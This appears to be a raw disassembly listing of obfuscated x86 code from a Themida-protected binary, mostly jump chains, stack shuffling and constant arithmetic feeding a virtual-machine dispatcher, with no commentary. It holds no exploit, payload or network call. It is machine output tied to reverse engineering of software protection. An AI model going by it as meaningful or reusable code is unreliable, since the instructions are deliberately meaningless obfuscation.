jmp loc_5962DD
; ---------------------------------------------------------------------------
loc_5A0045: ; CODE XREF: Themida_:00590A09j
pop ebp
shr ecx, 5
neg ecx
jmp loc_59524D
; ---------------------------------------------------------------------------
loc_5A0050: ; CODE XREF: Themida_:005A014Fj
push esi
push 689E397Ch
pop esi
jmp loc_59BDD6
; ---------------------------------------------------------------------------
loc_5A005C: ; CODE XREF: Themida_:005987DAj
mov ah, dl
pop edx
shl ah, 6
jmp loc_5A3074
; ---------------------------------------------------------------------------
loc_5A0067: ; CODE XREF: Themida_:0059D5BAj
pop ecx
add ecx, 4
push esi
push ecx
mov ecx, 4
mov esi, ecx
pop ecx
add ecx, esi
jmp loc_593C7B
; ---------------------------------------------------------------------------
loc_5A007F: ; CODE XREF: Themida_:00598018j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A25C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E30
loc_5A0096: ; CODE XREF: sub_592E30+9j
sub ebp, 4
xchg ebp, [esp+0]
pop esp
mov [esp-8+arg_0], edi
mov edi, 3A8E4079h
sub eax, edi
pop edi
push dword ptr [esp+0]
mov edx, [esp-8+arg_0]
push ecx
mov ecx, esp
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
add ecx, 4
xchg ecx, [esp+0]
pop esp
jmp loc_59F2C8
; END OF FUNCTION CHUNK FOR sub_592E30
; ---------------------------------------------------------------------------
loc_5A00CC: ; CODE XREF: Themida_:005934C3j
add esp, 4
pop dword ptr [esp]
jmp loc_597662
; ---------------------------------------------------------------------------
loc_5A00D7: ; CODE XREF: Themida_:0059AAABj
push esi
mov esi, esp
jmp loc_5967ED
; ---------------------------------------------------------------------------
loc_5A00DF: ; CODE XREF: Themida_:00598625j
pop eax
jmp loc_590C3F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_5A00E5: ; CODE XREF: sub_59233E+3j
pop edx
not edx
xchg edx, ebx
xor ebx, 0F06F093Ah
add esi, 5EF8332Eh
sub esi, ebx
sub esi, 5EF8332Eh
jmp loc_59F94A
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_5A0103: ; CODE XREF: Themida_:0059A6F9j
add ebp, 4
add ebp, 4
jmp loc_593BFA
; ---------------------------------------------------------------------------
loc_5A0114: ; CODE XREF: Themida_:0059837Fj
push ebx
push 7FA30EDBh
pop ebx
add ebx, 593A60E8h
push eax
push edx
push 0EC76C98h
jmp $+5
pop edx
jmp loc_59AEDF
; ---------------------------------------------------------------------------
loc_5A0133: ; CODE XREF: Themida_:005935D9j
pop ebx
xor bl, al
movzx eax, al
push edx
push esp
jmp loc_59BF88
; ---------------------------------------------------------------------------
loc_5A0140: ; CODE XREF: Themida_:00598E45j
add edi, ebx
pop ebx
jmp loc_59B59E
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
mov ebx, esp
jmp loc_5A0050
; ---------------------------------------------------------------------------
loc_5A0154: ; CODE XREF: Themida_:005A2DACj
mov ebx, 45CE0EA9h
add eax, ebx
pop ebx
push esi
mov esi, 494C1BC9h
add eax, esi
pop esi
pop ebp
push ebx
mov ebx, 32284F15h
sub eax, 768B4936h
add eax, ebx
add eax, 768B4936h
pop ebx
sub eax, 294B1ED1h
sub eax, ebx
push ecx
mov ecx, 416E287Fh
and ecx, 9E87676h
jmp loc_59D74C
; ---------------------------------------------------------------------------
loc_5A0191: ; CODE XREF: Themida_:00596C3Aj
pop edi
add ebp, 0B69311ACh
push esi
jmp loc_59B12E
; ---------------------------------------------------------------------------
loc_5A019E: ; CODE XREF: Themida_:0059FDF2j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
jmp loc_594BD4
; ---------------------------------------------------------------------------
loc_5A01B5: ; CODE XREF: Themida_:0059EBF8j
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
jmp loc_594CD4
; ---------------------------------------------------------------------------
loc_5A01CB: ; CODE XREF: Themida_:00599644j
add esp, 4
xor ebp, eax
jmp loc_59ECFE
; ---------------------------------------------------------------------------
loc_5A01D8: ; CODE XREF: Themida_:0059C55Aj
mov ebx, [esp]
add esp, 4
jmp loc_59D47C
; ---------------------------------------------------------------------------
loc_5A01E6: ; CODE XREF: Themida_:005904EDj
add esp, 4
jmp loc_59186C
; ---------------------------------------------------------------------------
loc_5A01EE: ; CODE XREF: Themida_:0059A291j
xor eax, esi
jmp loc_59F4CA
; ---------------------------------------------------------------------------
loc_5A01F5: ; CODE XREF: Themida_:0059EB79j
mov bl, ah
mov cl, bl
jmp loc_5A0A89
; ---------------------------------------------------------------------------
loc_5A01FE: ; CODE XREF: Themida_:005934ABj
sub esp, 4
mov [esp], ebp
mov ebp, 4
add eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5A3020
; ---------------------------------------------------------------------------
loc_5A0216: ; CODE XREF: Themida_:0059BD50j
mov esp, [esp]
shr ecx, 7
jmp loc_59EEB5
; ---------------------------------------------------------------------------
loc_5A0221: ; CODE XREF: Themida_:005A2C06j
and ebx, edx
pop edx
push ebx
not dword ptr [esp]
jmp loc_5A2E98
; ---------------------------------------------------------------------------
loc_5A022D: ; CODE XREF: Themida_:0058EAFDj
add esp, 4
jmp loc_592C71
; ---------------------------------------------------------------------------
loc_5A0235: ; CODE XREF: Themida_:00593DC2j
mov esi, [esp]
add esp, 4
pop edi
xor ebx, eax
push small word ptr [eax]
jmp loc_58E5B3
; =============== S U B R O U T I N E =======================================
sub_5A0246 proc near ; DATA XREF: Themida_:0058E120o
pop dword ptr fs:[edx]
jmp loc_58E353
sub_5A0246 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_594DD7
; ---------------------------------------------------------------------------
loc_5A0256: ; CODE XREF: Themida_:00596048j
mov [esp], ebp
push 6593h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A2902
; ---------------------------------------------------------------------------
loc_5A026D: ; CODE XREF: Themida_:00592ED0j
xchg eax, [esp]
pop esp
jmp loc_593092
; ---------------------------------------------------------------------------
loc_5A0276: ; CODE XREF: Themida_:00595A75j
mov [esp], edi
mov edi, 4
sub edx, 223744EFh
add edx, edi
push esi
sub esp, 4
jmp loc_5924CC
; ---------------------------------------------------------------------------
loc_5A0292: ; CODE XREF: Themida_:0059325Ej
add esp, 4
push ebp
jmp loc_59005F
; ---------------------------------------------------------------------------
loc_5A029E: ; CODE XREF: Themida_:0059A55Dj
add eax, 4
xchg eax, [esp]
pop esp
xor ebx, 70F04342h
mov edi, [esp]
push 56E4h
jmp loc_595875
; ---------------------------------------------------------------------------
loc_5A02BA: ; CODE XREF: Themida_:00591045j
pop ecx
mov edi, [esp]
add esp, 4
add esi, 67FA5B2Dh
add esi, ebx
jmp loc_590A1B
; ---------------------------------------------------------------------------
loc_5A02CE: ; CODE XREF: Themida_:0058FC28j
pop ebx
push ecx
mov ch, 48h
sub [esp+4], ch
pop ecx
sub byte ptr [esp], 28h
add byte ptr [esp], 10h
mov ah, [esp]
add esp, 4
inc ah
dec ah
xor ah, 0A5h
jmp loc_58FBCF
; ---------------------------------------------------------------------------
loc_5A02F1: ; CODE XREF: Themida_:0059ED77j
pop edi
jmp loc_59C177
; ---------------------------------------------------------------------------
loc_5A02F7: ; CODE XREF: Themida_:005A3291j
or ecx, eax
pop eax
push ebx
mov ebx, 0E6EC4E49h
sub ecx, ebx
jmp loc_59AB0C
; ---------------------------------------------------------------------------
loc_5A0307: ; CODE XREF: Themida_:0059BF9Cj
sub ecx, 1572774Eh
sub ecx, 0FFFFFFFFh
add ecx, 0EEE982A5h
mov ebx, ecx
pop ecx
sub ebx, 34C02D27h
add esi, 46582770h
add esi, 4E3B399Ah
add esi, ebx
sub esi, 4E3B399Ah
sub esi, 46582770h
pop ebx
add esi, 4
xchg esi, [esp]
mov esp, [esp]
add ebx, 4
push 2808h
mov [esp], esi
mov esi, 40831112h
xor esi, ebx
xor ebx, esi
xor esi, ebx
neg ebx
push 56E0h
mov [esp], esi
push ebx
jmp loc_5973FC
; ---------------------------------------------------------------------------
loc_5A036F: ; CODE XREF: Themida_:0059B164j
xor [esp+4], edx
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], esi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5A0A60
; ---------------------------------------------------------------------------
loc_5A03A0: ; CODE XREF: Themida_:0059F097j
pop edx
jmp loc_59A7F8
; ---------------------------------------------------------------------------
loc_5A03A6: ; CODE XREF: Themida_:0059A0ABj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
or eax, eax
jz loc_5A2EC9
push dword ptr [edi+1Ch]
push edx
mov edx, 67A35D82h
jmp loc_595734
; ---------------------------------------------------------------------------
loc_5A03C6: ; CODE XREF: Themida_:00591AFDj
push esp
pop ebx
add ebx, 4
jmp loc_5944EA
; ---------------------------------------------------------------------------
loc_5A03D3: ; CODE XREF: Themida_:00599F90j
add esp, 4
add esi, 1AD3664h
add esi, ebx
jmp loc_593716
; ---------------------------------------------------------------------------
loc_5A03E3: ; CODE XREF: Themida_:0058F910j
push ebx
mov ebx, 38671BFFh
jmp loc_59AC59
; ---------------------------------------------------------------------------
loc_5A03EE: ; CODE XREF: Themida_:0059CD39j
sub bl, 18h
add bl, cl
add bl, 18h
push cx
jmp loc_59479D
; ---------------------------------------------------------------------------
loc_5A03FD: ; CODE XREF: Themida_:005942ABj
or eax, 31854DD6h
push ebp
mov ebp, 300C47D9h
or ebp, 1FFA0F25h
shr ebp, 1
push edi
mov edi, 2037792Bh
jmp loc_599600
; ---------------------------------------------------------------------------
loc_5A041B: ; CODE XREF: Themida_:0059D2F3j
mov eax, [esp]
add esp, 4
jmp loc_59B558
; ---------------------------------------------------------------------------
loc_5A0429: ; CODE XREF: Themida_:0059C9F6j
pop ebx
xor dl, ch
pop ecx
dec dl
not dl
push eax
mov al, 6Eh
sub dl, al
pop eax
xor cl, dl
pop edx
jmp loc_598012
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5A043F: ; CODE XREF: sub_59DA2F-D032j
mov dh, 0E3h
add bh, dh
pop dx
sub al, bh
push [esp-4+arg_0]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0]
pop esp
pop cx
xor bl, al
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
loc_5A046A: ; DATA XREF: Themida_:0058E070o
lodsd
jmp loc_59F188
; ---------------------------------------------------------------------------
loc_5A0470: ; CODE XREF: Themida_:0059C7CEj
push esi
mov esi, 1C34046Ch
add edi, esi
pop esi
add edi, ebp
sub edi, 1C34046Ch
jmp loc_593710
; ---------------------------------------------------------------------------
loc_5A0486: ; CODE XREF: Themida_:0059DC9Cj
add ebp, edx
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5A2561
; ---------------------------------------------------------------------------
loc_5A04A2: ; CODE XREF: Themida_:00592599j
add eax, 58B03C06h
add eax, edx
sub eax, 58B03C06h
pop edx
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_5987A6
; ---------------------------------------------------------------------------
loc_5A04BE: ; CODE XREF: Themida_:005A1CC5j
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_58FE4D
; ---------------------------------------------------------------------------
loc_5A04CF: ; CODE XREF: Themida_:0058FC95j
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_596EF8
; ---------------------------------------------------------------------------
loc_5A04DB: ; CODE XREF: Themida_:0059AD51j
movzx cx, ah
push small 609Bh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A04F3: ; CODE XREF: Themida_:005A2951j
mov edi, 5B0A00CDh
add edi, 0BA5A3305h
sub ecx, edi
jmp loc_58F0A9
; ---------------------------------------------------------------------------
loc_5A0505: ; CODE XREF: Themida_:005A0E27j
xchg edi, [esp]
pop esp
jmp loc_59B169
; ---------------------------------------------------------------------------
loc_5A050E: ; CODE XREF: Themida_:0059997Cj
push ecx
mov ecx, esp
jmp loc_597EE5
; ---------------------------------------------------------------------------
loc_5A0516: ; CODE XREF: Themida_:00599482j
add esi, 482A6351h
sub esi, ebp
sub esi, 482A6351h
jmp loc_5945BC
; ---------------------------------------------------------------------------
loc_5A0529: ; CODE XREF: Themida_:0058F0F0j
mov ch, dl
mov al, ch
jmp loc_59B0FF
; ---------------------------------------------------------------------------
loc_5A0532: ; CODE XREF: Themida_:0059CF0Dj
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_599F5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_5A0540: ; CODE XREF: sub_590877+79E4j
pop cx
push edx
mov dl, 45h
and dl, 6Ch
push ecx
mov cl, 99h
xor dl, cl
pop ecx
push ecx
mov cl, 10h
push small 72CFh
mov word ptr [esp+0Ah+var_C+2], ax
mov ah, cl
not ah
mov cl, ah
pop ax
jmp loc_597AE9
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_5A0566: ; CODE XREF: Themida_:0059BA03j
add esp, 4
add esp, 4
push ecx
mov ecx, 423F0E50h
inc ecx
jmp loc_594BB0
; ---------------------------------------------------------------------------
loc_5A057B: ; CODE XREF: Themida_:00594F99j
mov [esp], edx
mov edx, 5A030052h
xor eax, edx
mov edx, [esp]
jmp loc_59F193
; ---------------------------------------------------------------------------
loc_5A058D: ; CODE XREF: Themida_:0059F52Dj
pop ecx
neg ecx
and ecx, 257A2E21h
and ecx, 705467E3h
add ecx, 386E0AB2h
jmp loc_58F140
; ---------------------------------------------------------------------------
loc_5A05A7: ; CODE XREF: Themida_:00595CC2j
xor ebx, 49D8A1FBh
jmp loc_58E88A
; ---------------------------------------------------------------------------
loc_5A05B2: ; CODE XREF: Themida_:0059FEA3j
sub eax, 523F2131h
jmp loc_598EE8
; ---------------------------------------------------------------------------
loc_5A05BC: ; CODE XREF: Themida_:00596BC3j
add esp, 4
jmp loc_597312
; ---------------------------------------------------------------------------
loc_5A05C4: ; CODE XREF: Themida_:005938FDj
add edi, 4
push ecx
mov ecx, 3437319Bh
or ecx, 417466CBh
sub ecx, 266C719Ah
xor ecx, 0E073DB6h
shl ecx, 8
add ecx, 0F3C40904h
jmp loc_5907C5
; ---------------------------------------------------------------------------
loc_5A05F0: ; CODE XREF: Themida_:0059668Fj
push ebp
mov ebp, 362008F4h
xor ebp, 51620E92h
and ebp, 2101002Ch
add ebp, 0A747822h
sub edx, ebp
pop ebp
push eax
mov eax, 0
add eax, edx
xor [eax], ebx
jmp loc_5A2EC7
; ---------------------------------------------------------------------------
loc_5A061A: ; CODE XREF: Themida_:0059A1C1j
add eax, ebx
sub eax, 2D5329FDh
mov ebx, [esp]
add esp, 4
add eax, ebx
sub esp, 4
mov [esp], esi
push 57026279h
pop esi
sub eax, 79C10418h
sub eax, esi
sub esp, 4
jmp loc_596FBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5A0647: ; CODE XREF: sub_59DA2F+6E3j
and ch, 1Ah
jmp loc_59B261
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5A064F: ; CODE XREF: Themida_:0059DBBFj
push dword ptr [esp+4]
mov eax, [esp]
jmp loc_59684F
; ---------------------------------------------------------------------------
loc_5A065B: ; CODE XREF: Themida_:005A2F5Fj
push eax
mov eax, 128B172Ch
mov ebp, eax
jmp loc_59B879
; ---------------------------------------------------------------------------
loc_5A0668: ; CODE XREF: Themida_:0059C148j
add esi, 0FEFF5FB6h
add eax, esi
pop esi
add eax, edx
jmp loc_598F91
; ---------------------------------------------------------------------------
loc_5A0678: ; CODE XREF: Themida_:0059B728j
xor [esp], ebx
xor ebx, [esp]
jmp loc_59ECBF
; ---------------------------------------------------------------------------
loc_5A0683: ; CODE XREF: Themida_:00596889j
pop ecx
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A06A0: ; CODE XREF: Themida_:005A0F61j
push 5090DCBCh
push dword ptr [esp]
pop ebp
jmp loc_58EACD
; ---------------------------------------------------------------------------
loc_5A06AE: ; CODE XREF: Themida_:0059AB2Dj
xchg ecx, [esp]
pop esp
xor dh, 2Fh
add al, dh
pop edx
push small 7D1h
mov [esp], dx
push eax
jmp loc_5996C6
; ---------------------------------------------------------------------------
loc_5A06C6: ; CODE XREF: Themida_:0058FB64j
xor esi, [esp]
xor [esp], esi
jmp loc_59C431
; ---------------------------------------------------------------------------
loc_5A06D1: ; CODE XREF: Themida_:00591187j
mov [esp], ebp
push 5331h
mov [esp], eax
push 226223E6h
pop eax
push eax
inc dword ptr [esp]
jmp loc_58F363
; ---------------------------------------------------------------------------
loc_5A06EB: ; CODE XREF: Themida_:00593A2Ej
push dword ptr [esp]
pop edi
jmp loc_590D27
; ---------------------------------------------------------------------------
loc_5A06F4: ; CODE XREF: Themida_:00593EDAj
push esi
mov esi, esp
push eax
mov eax, 64235F4Ah
jmp loc_59FEC0
; ---------------------------------------------------------------------------
loc_5A0702: ; CODE XREF: Themida_:005A0849j
push dword ptr [esp]
pop ecx
jmp loc_59CECD
; ---------------------------------------------------------------------------
loc_5A070B: ; CODE XREF: Themida_:00590E7Fj
push ecx
mov ecx, 0B503BCD8h
push ecx
jmp loc_5924D9
; ---------------------------------------------------------------------------
loc_5A0717: ; CODE XREF: Themida_:005957B8j
sub esp, 4
mov [esp], ebp
mov ebp, 16E24A0h
xor ebp, 61A956EDh
push ecx
push ebp
mov ebp, 34837F4Bh
jmp loc_5919D8
; ---------------------------------------------------------------------------
loc_5A0734: ; CODE XREF: Themida_:00596F8Aj
mov edx, esp
jmp loc_5A1655
; ---------------------------------------------------------------------------
loc_5A073B: ; CODE XREF: Themida_:005A0B1Ej
push eax
mov ah, 0E7h
xor ah, 2Ch
jmp loc_5A10D6
; ---------------------------------------------------------------------------
loc_5A0746: ; CODE XREF: Themida_:005934DCj
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_58F825
; ---------------------------------------------------------------------------
loc_5A0766: ; CODE XREF: Themida_:0059DA07j
push eax
mov eax, 5C205D94h
not eax
sub eax, 64D42237h
dec eax
add eax, 0EBF2A81Ah
xor ebx, eax
pop eax
jmp loc_59EA8E
; ---------------------------------------------------------------------------
loc_5A0781: ; CODE XREF: Themida_:005A19E8j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov eax, [esp]
jmp loc_592941
; ---------------------------------------------------------------------------
loc_5A0793: ; CODE XREF: Themida_:0059628Cj
pop esp
jmp loc_597344
; ---------------------------------------------------------------------------
loc_5A0799: ; CODE XREF: Themida_:005A08D6j
pop esi
sub ebx, edx
add ebx, 5E6D31A5h
sub ebx, 75492DDEh
pop edx
add ebx, 40E73D33h
jmp loc_59A9A7
; ---------------------------------------------------------------------------
loc_5A07B4: ; CODE XREF: Themida_:0059BFF1j
push edx
mov edx, esp
add edx, 4
jmp loc_599F95
; ---------------------------------------------------------------------------
loc_5A07C2: ; CODE XREF: Themida_:00596251j
xor esi, edi
xor edi, esi
xor esi, edi
xor [esp], esi
jmp loc_5A0A42
; ---------------------------------------------------------------------------
loc_5A07D0: ; CODE XREF: Themida_:005A16B0j
not dword ptr [esp]
pop esi
jmp loc_59624D
; ---------------------------------------------------------------------------
loc_5A07D9: ; CODE XREF: Themida_:0059527Ej
sub edx, 0ADC72F9h
pop ebx
xor edx, [esp]
jmp loc_5A1C19
; ---------------------------------------------------------------------------
loc_5A07E8: ; CODE XREF: Themida_:00593B65j
mov esi, 33226BBBh
push edx
jmp loc_592C25
; ---------------------------------------------------------------------------
loc_5A07F3: ; CODE XREF: Themida_:00591364j
sub cl, 2Fh
sub cl, dl
add cl, 2Fh
mov edx, [esp]
add esp, 4
push eax
mov al, cl
jmp loc_597D8F
; ---------------------------------------------------------------------------
loc_5A080C: ; CODE XREF: Themida_:00596114j
neg dh
push eax
mov al, 56h
sub dh, al
jmp loc_591CF0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_5A0818: ; CODE XREF: sub_591554+6027j
sub edi, 0FA8DD091h
jmp loc_5938C5
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_5A0823: ; CODE XREF: Themida_:0058F52Dj
mov al, 2Fh
dec al
jmp loc_5A3005
; ---------------------------------------------------------------------------
loc_5A082C: ; CODE XREF: Themida_:0059319Fj
push edi
mov edi, esp
push esi
mov esi, 28752A5Dh
jmp loc_59ECDB
; ---------------------------------------------------------------------------
loc_5A083A: ; CODE XREF: Themida_:0059D93Bj
mov [esp], ebx
mov bl, 68h
mov al, 0E6h
xor al, bl
pop ebx
push ecx
mov cl, al
mov dh, cl
jmp loc_5A0702
; ---------------------------------------------------------------------------
loc_5A084E: ; CODE XREF: Themida_:005A10BEj
neg edi
xor edi, 0FFA0226Dh
xor edx, edi
mov edi, [esp]
add esp, 4
add eax, edx
mov edx, [esp]
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_598F6D
; ---------------------------------------------------------------------------
loc_5A0877: ; CODE XREF: Themida_:0059DE61j
add esp, 4
push ebx
push esp
pop ebx
jmp loc_59859D
; ---------------------------------------------------------------------------
loc_5A0885: ; CODE XREF: Themida_:0059DF38j
add esp, 4
push edx
mov edx, 4EF14360h
add ebx, 75492DDEh
push 765Ah
mov [esp], esi
push edx
mov edx, 74BB6E7Ah
mov esi, 0D756DA2Dh
sub esi, edx
pop edx
sub esi, 7DFD6A58h
push ebp
mov ebp, 13200350h
add ebp, 49D77886h
dec ebp
not ebp
dec ebp
neg ebp
add ebp, 0B067F2CFh
xor esi, ebp
pop ebp
add esi, 74ABC1A8h
sub ebx, esi
jmp loc_5A0799
; ---------------------------------------------------------------------------
loc_5A08DB: ; CODE XREF: Themida_:0058F769j
push ax
mov ah, 1Eh
mov ch, ah
jmp loc_59B689
; ---------------------------------------------------------------------------
loc_5A08E6: ; CODE XREF: Themida_:005962B5j
not dword ptr [esp]
pop edx
jmp loc_59C419
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E30
loc_5A08EF: ; CODE XREF: sub_592E30-4229j
and esi, ebp
pop ebp
shr esi, 5
sub esp, 4
mov [esp-8+arg_0], ebx
mov ebx, 7C6D477Eh
add ebx, 6911700Ch
push edx
mov edx, 23C07DAEh
and ebx, edx
pop edx
add ebx, 3CE158C0h
not ebx
jmp sub_59233E
; END OF FUNCTION CHUNK FOR sub_592E30
; ---------------------------------------------------------------------------
loc_5A091C: ; CODE XREF: Themida_:00595111j
sub byte ptr [esp], 10h
add byte ptr [esp], 28h
jmp loc_590365
; ---------------------------------------------------------------------------
loc_5A0929: ; CODE XREF: Themida_:00598BABj
push eax
jmp loc_5993FF
; ---------------------------------------------------------------------------
loc_5A092F: ; CODE XREF: Themida_:0059A27Bj
add esp, 4
sub ebx, eax
pop eax
add esi, ebx
pop ebx
jmp loc_597FDF
; ---------------------------------------------------------------------------
loc_5A093D: ; CODE XREF: Themida_:00596DF7j
push ebx
push ebp
mov ebp, 1F1111A3h
neg ebp
not ebp
shr ebp, 1
shr ebp, 5
jmp loc_598DF9
; ---------------------------------------------------------------------------
loc_5A0952: ; CODE XREF: Themida_:0058E35Fj
add ebp, ebx
mov ebx, [esp]
add esp, 4
push ebx
mov ebx, 4
sub ebp, ebx
jmp loc_59C162
; ---------------------------------------------------------------------------
loc_5A096A: ; CODE XREF: Themida_:00597526j
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
push ebp
jmp loc_59179B
; ---------------------------------------------------------------------------
loc_5A0978: ; CODE XREF: Themida_:00595B2Aj
push eax
jmp loc_598077
; ---------------------------------------------------------------------------
loc_5A097E: ; CODE XREF: Themida_:00593424j
xchg esi, [esp]
jmp loc_590F1B
; ---------------------------------------------------------------------------
loc_5A0986: ; CODE XREF: Themida_:0059DD38j
add edi, ebx
pop ebx
pop ecx
xor edi, 6E523271h
add ebx, edi
pop edi
xor eax, ebx
jmp loc_5A0C08
; ---------------------------------------------------------------------------
loc_5A099A: ; CODE XREF: Themida_:00592564j
mov [esp], ebp
push esp
pop ebp
push esi
mov esi, 4
add ebp, esi
pop esi
push eax
mov eax, 4
sub ebp, eax
jmp loc_59476D
; ---------------------------------------------------------------------------
loc_5A09B5: ; CODE XREF: Themida_:0059396Ej
add ebp, 4
xchg ebp, [esp]
pop esp
push 3E7h
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
push 69CCh
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_59CAD5
; ---------------------------------------------------------------------------
loc_5A09E9: ; DATA XREF: Themida_:0058E0C4o
lodsd
jmp loc_5A18EB
; ---------------------------------------------------------------------------
loc_5A09EF: ; CODE XREF: Themida_:00595AAAj
pop ebp
push edx
mov edx, 4
add ebp, edx
pop edx
jmp loc_593779
; ---------------------------------------------------------------------------
loc_5A09FE: ; CODE XREF: Themida_:00595BD1j
add esp, 4
jmp loc_59F666
; ---------------------------------------------------------------------------
loc_5A0A09: ; CODE XREF: Themida_:0058F10Aj
add ecx, ebx
pop ebx
push eax
mov eax, 4
jmp loc_599611
; ---------------------------------------------------------------------------
loc_5A0A17: ; CODE XREF: Themida_:0059FCDDj
push esi
mov esi, 64883F4Ch
xor esi, 1DC769B9h
dec esi
not esi
add esi, 0CC707BBFh
jmp loc_59CCCA
; ---------------------------------------------------------------------------
loc_5A0A31: ; CODE XREF: Themida_:0059221Ej
mov esi, 13087709h
sub esi, 820644Ch
push ebx
jmp loc_58F98E
; ---------------------------------------------------------------------------
loc_5A0A42: ; CODE XREF: Themida_:005A07CBj
xor esi, [esp]
xor [esp], esi
jmp loc_595B24
; ---------------------------------------------------------------------------
loc_5A0A4D: ; CODE XREF: Themida_:00597DE9j
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A0A60: ; CODE XREF: Themida_:005A039Bj
pop esi
jmp loc_5A315A
; ---------------------------------------------------------------------------
loc_5A0A66: ; CODE XREF: Themida_:0059106Aj
add esi, edx
pop edx
add esi, 2
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
jmp loc_592056
; ---------------------------------------------------------------------------
loc_5A0A81: ; CODE XREF: Themida_:00599226j
add esi, 4
jmp loc_59E6B9
; ---------------------------------------------------------------------------
loc_5A0A89: ; CODE XREF: Themida_:005A01F9j
pop ebx
jmp loc_59D55F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C407
loc_5A0A8F: ; CODE XREF: sub_59C407+Dj
add edx, 4
jmp sub_5A1999
; END OF FUNCTION CHUNK FOR sub_59C407
; ---------------------------------------------------------------------------
loc_5A0A9A: ; CODE XREF: Themida_:005941BFj
mov edi, esi
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 74B72054h
sub edi, 48907F0Eh
add edi, ecx
jmp loc_59DD17
; ---------------------------------------------------------------------------
loc_5A0AC0: ; CODE XREF: Themida_:0058FC63j
sub ebp, 1
push esi
mov esi, 1
sub ebp, esi
jmp loc_59618F
; ---------------------------------------------------------------------------
loc_5A0AD3: ; CODE XREF: Themida_:0058F3BDj
neg eax
shr eax, 4
xor eax, 7C17AD9Ch
jmp loc_5A2B89
; ---------------------------------------------------------------------------
loc_5A0AE2: ; CODE XREF: Themida_:0059BB47j
or dl, 61h
add dl, 98h
sub ah, dl
pop edx
dec ah
shr ah, 4
jmp loc_5A11FE
; ---------------------------------------------------------------------------
loc_5A0AF5: ; CODE XREF: Themida_:005A0DA7j
mov si, 0FB64h
add cx, si
pop si
sub ax, 186h
sub ax, cx
add ax, 186h
push dword ptr [esp]
jmp loc_592995
; ---------------------------------------------------------------------------
loc_5A0B11: ; CODE XREF: Themida_:00598AAEj
xor eax, ecx
jmp loc_58FB22
; ---------------------------------------------------------------------------
lodsb
push cx
push ebx
mov bh, 0F6h
jmp loc_5A073B
; ---------------------------------------------------------------------------
loc_5A0B23: ; CODE XREF: Themida_:00597C06j
sub edi, 2276601Fh
jmp loc_59D91B
; ---------------------------------------------------------------------------
loc_5A0B2E: ; CODE XREF: Themida_:0058E9AEj
pop ecx
add edx, 255C0736h
add edx, 59BA77E3h
pop esi
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
shr eax, 0Ah
jmp loc_59E4D3
; ---------------------------------------------------------------------------
loc_5A0B4E: ; CODE XREF: Themida_:00596E9Cj
push edx
mov edx, 242A0CA9h
mov edi, edx
push dword ptr [esp]
pop edx
add esp, 4
add edi, 0F53A3859h
add ebx, edi
jmp loc_5998F3
; ---------------------------------------------------------------------------
loc_5A0B6A: ; CODE XREF: Themida_:0059BB27j
push 4E01h
mov [esp], ebp
push esp
pop ebp
push ebx
mov ebx, esp
add ebx, 4
jmp loc_597C51
; ---------------------------------------------------------------------------
loc_5A0B82: ; CODE XREF: Themida_:00592876j
sub esi, 2AD6566Ch
add esi, edi
push ebp
mov ebp, 66DE7309h
or ebp, 176B36E2h
jmp loc_58E4E4
